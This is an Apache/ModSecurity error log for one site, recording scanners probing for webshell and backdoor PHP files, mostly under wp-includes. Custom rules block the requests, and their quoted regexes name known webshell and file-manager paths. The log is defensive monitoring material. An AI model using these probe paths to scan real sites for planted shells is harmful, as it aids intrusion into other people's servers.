[Thu Apr 09 16:08:11.553452 2026] [:error] [pid 24517:tid 24590] [client 20.215.65.153:64239] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "addea3boYEn2ZFM_PS9fTAAAAJA"]
[Thu Apr 09 16:08:11.925503 2026] [:error] [pid 24927:tid 24933] [client 216.24.210.12:52139] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php
[Thu Apr 09 16:08:12.118310 2026] [:error] [pid 24927:tid 24951] [client 216.24.210.12:52139] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/admin.php
[Thu Apr 09 16:08:12.174811 2026] [:error] [pid 24624:tid 24645] [client 20.215.65.153:65489] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "addebO4Jn-WvK1ZBTviVVAAAANM"]
[Thu Apr 09 16:08:12.286707 2026] [:error] [pid 24927:tid 24948] [client 216.24.210.12:52139] [client 216.24.210.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "addebDXObuzEuw8mNJug9AAAARI"]
[Thu Apr 09 16:08:12.955797 2026] [:error] [pid 24516:tid 24553] [client 216.24.210.33:30589] [client 216.24.210.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "addebNhW7vSS-UkeWCUHdQAAAEY"]
[Thu Apr 09 16:08:12.970878 2026] [:error] [pid 24927:tid 24932] [client 20.215.65.153:63623] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/qqa.php"] [unique_id "addebDXObuzEuw8mNJug9QAAAQI"]
[Thu Apr 09 16:08:13.520229 2026] [:error] [pid 24515:tid 24536] [client 20.215.65.153:65515] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/qqa.php"] [unique_id "addeba1OMnvM2fMnB1NNYQAAABE"]
[Thu Apr 09 16:08:14.081971 2026] [:error] [pid 18477:tid 18501] [client 20.215.65.153:64301] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/qqa.php"] [unique_id "addebsDe826HlFeoLPI8jwAAAVY"]
[Thu Apr 09 16:08:14.717422 2026] [:error] [pid 24927:tid 24934] [client 20.215.65.153:64251] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/qqa.php"] [unique_id "addebjXObuzEuw8mNJug9gAAAQQ"]
[Thu Apr 09 16:08:14.936873 2026] [:error] [pid 20837:tid 20855] [client 216.24.210.13:23185] File does not exist: /usr/local/apache/htdocs/suspended-page/tox.php
[Thu Apr 09 16:08:15.300451 2026] [:error] [pid 20837:tid 20854] [client 216.24.210.13:23185] [client 216.24.210.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "addeb_SL71FHZkjrGzOvgQAAAY8"]
[Thu Apr 09 16:08:15.890832 2026] [:error] [pid 24927:tid 24936] [client 20.215.65.153:64910] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "addebzXObuzEuw8mNJug-AAAAQY"]
[Thu Apr 09 16:08:16.450864 2026] [:error] [pid 24927:tid 24945] [client 20.215.65.153:64860] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "addecDXObuzEuw8mNJug-gAAAQ8"]
[Thu Apr 09 16:08:16.991792 2026] [:error] [pid 24927:tid 24939] [client 20.215.65.153:63646] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "addecDXObuzEuw8mNJug_QAAAQk"]
[Thu Apr 09 16:08:17.548572 2026] [:error] [pid 24927:tid 24952] [client 20.215.65.153:64259] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "addecTXObuzEuw8mNJug_wAAARY"]
[Thu Apr 09 16:08:17.969496 2026] [:error] [pid 24517:tid 24598] [client 173.239.218.22:45749] [client 173.239.218.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "addecXboYEn2ZFM_PS9fTgAAAJg"]
[Thu Apr 09 16:08:18.325934 2026] [:error] [pid 24517:tid 24578] [client 20.215.65.153:64298] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "addecnboYEn2ZFM_PS9fTwAAAIQ"]
[Thu Apr 09 16:08:18.947097 2026] [:error] [pid 24517:tid 24597] [client 20.215.65.153:64855] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "addecnboYEn2ZFM_PS9fUAAAAJc"]
[Thu Apr 09 16:08:19.202307 2026] [:error] [pid 24517:tid 24592] [client 216.24.210.24:49137] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Thu Apr 09 16:08:19.393635 2026] [:error] [pid 24517:tid 24579] [client 216.24.210.24:49137] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-themes.php
[Thu Apr 09 16:08:19.487098 2026] [:error] [pid 24517:tid 24581] [client 20.215.65.153:65525] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "addec3boYEn2ZFM_PS9fVAAAAIc"]
[Thu Apr 09 16:08:19.591177 2026] [:error] [pid 24517:tid 24582] [client 216.24.210.24:49137] [client 216.24.210.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "addec3boYEn2ZFM_PS9fVgAAAIg"]
[Thu Apr 09 16:08:20.014459 2026] [:error] [pid 24517:tid 24575] [client 20.215.65.153:64245] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "addedHboYEn2ZFM_PS9fWAAAAIE"]
[Thu Apr 09 16:08:20.588932 2026] [:error] [pid 24624:tid 24627] [client 20.215.65.153:63644] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "addedO4Jn-WvK1ZBTviVVgAAAME"]
[Thu Apr 09 16:08:20.708265 2026] [:error] [pid 24515:tid 24527] [client 216.24.210.43:22451] File does not exist: /usr/local/apache/htdocs/suspended-page/mariju.php
[Thu Apr 09 16:08:20.913194 2026] [:error] [pid 24515:tid 24538] [client 216.24.210.43:22451] File does not exist: /usr/local/apache/htdocs/suspended-page/waf_defender.php
[Thu Apr 09 16:08:21.150876 2026] [:error] [pid 24515:tid 24530] [client 20.215.65.153:64312] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "addeda1OMnvM2fMnB1NNaQAAAAs"]
[Thu Apr 09 16:08:21.458759 2026] [:error] [pid 24515:tid 24524] [client 216.24.210.43:22451] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Thu Apr 09 16:08:21.778485 2026] [:error] [pid 24515:tid 24522] [client 20.215.65.153:64233] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "addeda1OMnvM2fMnB1NNbAAAAAM"]
[Thu Apr 09 16:08:22.008767 2026] [:error] [pid 24515:tid 24537] [client 216.24.210.43:22451] [client 216.24.210.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "addedq1OMnvM2fMnB1NNbgAAABI"]
[Thu Apr 09 16:08:22.325551 2026] [:error] [pid 24515:tid 24540] [client 20.215.65.153:64945] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "addedq1OMnvM2fMnB1NNbwAAABU"]
[Thu Apr 09 16:08:23.014974 2026] [:error] [pid 18477:tid 18481] [client 20.215.65.153:65494] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "added8De826HlFeoLPI8kwAAAUI"]
[Thu Apr 09 16:08:23.081295 2026] [:error] [pid 18477:tid 18493] [client 216.24.210.23:30413] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/about.php
[Thu Apr 09 16:08:23.550290 2026] [:error] [pid 18477:tid 18483] [client 20.215.65.153:64295] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "added8De826HlFeoLPI8mAAAAUQ"]
[Thu Apr 09 16:08:23.628694 2026] [:error] [pid 18477:tid 18499] [client 216.24.210.23:30413] [client 216.24.210.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "added8De826HlFeoLPI8mgAAAVQ"]
[Thu Apr 09 16:08:24.149576 2026] [:error] [pid 18477:tid 18480] [client 20.215.65.153:63635] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "addeeMDe826HlFeoLPI8nQAAAUE"]
[Thu Apr 09 16:08:24.761950 2026] [:error] [pid 18477:tid 18497] [client 216.24.210.5:51883] File does not exist: /usr/local/apache/htdocs/suspended-page/theme.php
[Thu Apr 09 16:08:24.833529 2026] [:error] [pid 24927:tid 24942] [client 20.215.65.153:64273] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "addeeDXObuzEuw8mNJuhBwAAAQw"]
[Thu Apr 09 16:08:25.359122 2026] [:error] [pid 18477:tid 18494] [client 216.24.210.5:51883] File does not exist: /usr/local/apache/htdocs/suspended-page/Simple.php
[Thu Apr 09 16:08:25.472053 2026] [:error] [pid 24517:tid 24584] [client 20.215.65.153:64834] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "addeeXboYEn2ZFM_PS9fWwAAAIo"]
[Thu Apr 09 16:08:25.533477 2026] [:error] [pid 18477:tid 18496] [client 216.24.210.5:51883] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php
[Thu Apr 09 16:08:26.022080 2026] [:error] [pid 18477:tid 18491] [client 216.24.210.5:51883] [client 216.24.210.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.5, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "addeesDe826HlFeoLPI8qwAAAUw"]
[Thu Apr 09 16:08:26.058702 2026] [:error] [pid 18477:tid 18503] [client 20.215.65.153:64229] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "addeesDe826HlFeoLPI8rAAAAVg"]
[Thu Apr 09 16:08:26.741096 2026] [:error] [pid 24927:tid 24946] [client 20.215.65.153:64278] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "addeejXObuzEuw8mNJuhDQAAARA"]
[Thu Apr 09 16:08:27.346453 2026] [:error] [pid 18477:tid 18500] [client 20.215.65.153:64267] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "addee8De826HlFeoLPI8sgAAAVU"]
[Thu Apr 09 16:08:27.903279 2026] [:error] [pid 24927:tid 24932] [client 20.215.65.153:64908] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "addeezXObuzEuw8mNJuhEAAAAQI"]
[Thu Apr 09 16:08:28.562431 2026] [:error] [pid 18477:tid 18490] [client 20.215.65.153:64314] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "addefMDe826HlFeoLPI8tQAAAUs"]
[Thu Apr 09 16:08:28.674005 2026] [:error] [pid 18477:tid 18489] [client 216.24.210.5:51883] [client 216.24.210.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "addefMDe826HlFeoLPI8tgAAAUo"]
[Thu Apr 09 16:08:29.329424 2026] [:error] [pid 24927:tid 24946] [client 20.215.65.153:65496] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "addefTXObuzEuw8mNJuhFgAAARA"]
[Thu Apr 09 16:08:29.649397 2026] [:error] [pid 24927:tid 24937] [client 173.239.218.150:53519] File does not exist: /usr/local/apache/htdocs/suspended-page/small.php
[Thu Apr 09 16:08:29.884195 2026] [:error] [pid 24927:tid 24932] [client 173.239.218.150:53519] [client 173.239.218.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "addefTXObuzEuw8mNJuhGwAAAQI"]
[Thu Apr 09 16:08:30.452864 2026] [:error] [pid 24515:tid 24525] [client 20.215.65.153:63653] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "addefq1OMnvM2fMnB1NNdAAAAAY"]
[Thu Apr 09 16:08:31.017618 2026] [:error] [pid 24927:tid 24938] [client 216.24.210.14:21797] File does not exist: /usr/local/apache/htdocs/suspended-page/NewFile.php
[Thu Apr 09 16:08:31.387035 2026] [:error] [pid 24927:tid 24942] [client 216.24.210.14:21797] File does not exist: /usr/local/apache/htdocs/suspended-page/error.php
[Thu Apr 09 16:08:31.781924 2026] [:error] [pid 24927:tid 24941] [client 216.24.210.14:21797] [client 216.24.210.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "addefzXObuzEuw8mNJuhIQAAAQs"]
[Thu Apr 09 16:08:32.980071 2026] [:error] [pid 24624:tid 24628] [client 20.215.65.153:64891] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "addegO4Jn-WvK1ZBTviVWgAAAMI"]
[Thu Apr 09 16:08:33.191761 2026] [:error] [pid 24927:tid 24935] [client 216.24.210.13:64657] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-files.php
[Thu Apr 09 16:08:33.398197 2026] [:error] [pid 24927:tid 24954] [client 216.24.210.13:64657] File does not exist: /usr/local/apache/htdocs/suspended-page/functions.php
[Thu Apr 09 16:08:33.625411 2026] [:error] [pid 24927:tid 24932] [client 216.24.210.13:64657] [client 216.24.210.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "addegTXObuzEuw8mNJuhJgAAAQI"]
[Thu Apr 09 16:08:34.517676 2026] [:error] [pid 24516:tid 24547] [client 216.24.210.32:36643] [client 216.24.210.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "addegthW7vSS-UkeWCUHeQAAAEA"]
[Thu Apr 09 16:08:36.565527 2026] [:error] [pid 20837:tid 20840] [client 20.215.65.153:64308] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "addehPSL71FHZkjrGzOvhgAAAYE"]
[Thu Apr 09 16:08:36.890514 2026] [:error] [pid 24517:tid 24590] [client 216.24.210.39:36913] File does not exist: /usr/local/apache/htdocs/suspended-page/aks.php
[Thu Apr 09 16:08:37.085612 2026] [:error] [pid 24517:tid 24594] [client 216.24.210.39:36913] File does not exist: /usr/local/apache/htdocs/suspended-page/litespeed.php
[Thu Apr 09 16:08:37.477340 2026] [:error] [pid 24517:tid 24589] [client 216.24.210.39:36913] [client 216.24.210.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "addehXboYEn2ZFM_PS9fYAAAAI8"]
[Thu Apr 09 16:08:38.213348 2026] [:error] [pid 24515:tid 24540] [client 216.24.210.11:43229] File does not exist: /usr/local/apache/htdocs/suspended-page/wpn.php
[Thu Apr 09 16:08:38.907910 2026] [:error] [pid 24515:tid 24526] [client 216.24.210.11:43229] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/iR7SzrsOUEP.php
[Thu Apr 09 16:08:39.077853 2026] [:error] [pid 24515:tid 24536] [client 216.24.210.11:43229] [client 216.24.210.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "addeh61OMnvM2fMnB1NNggAAABE"]
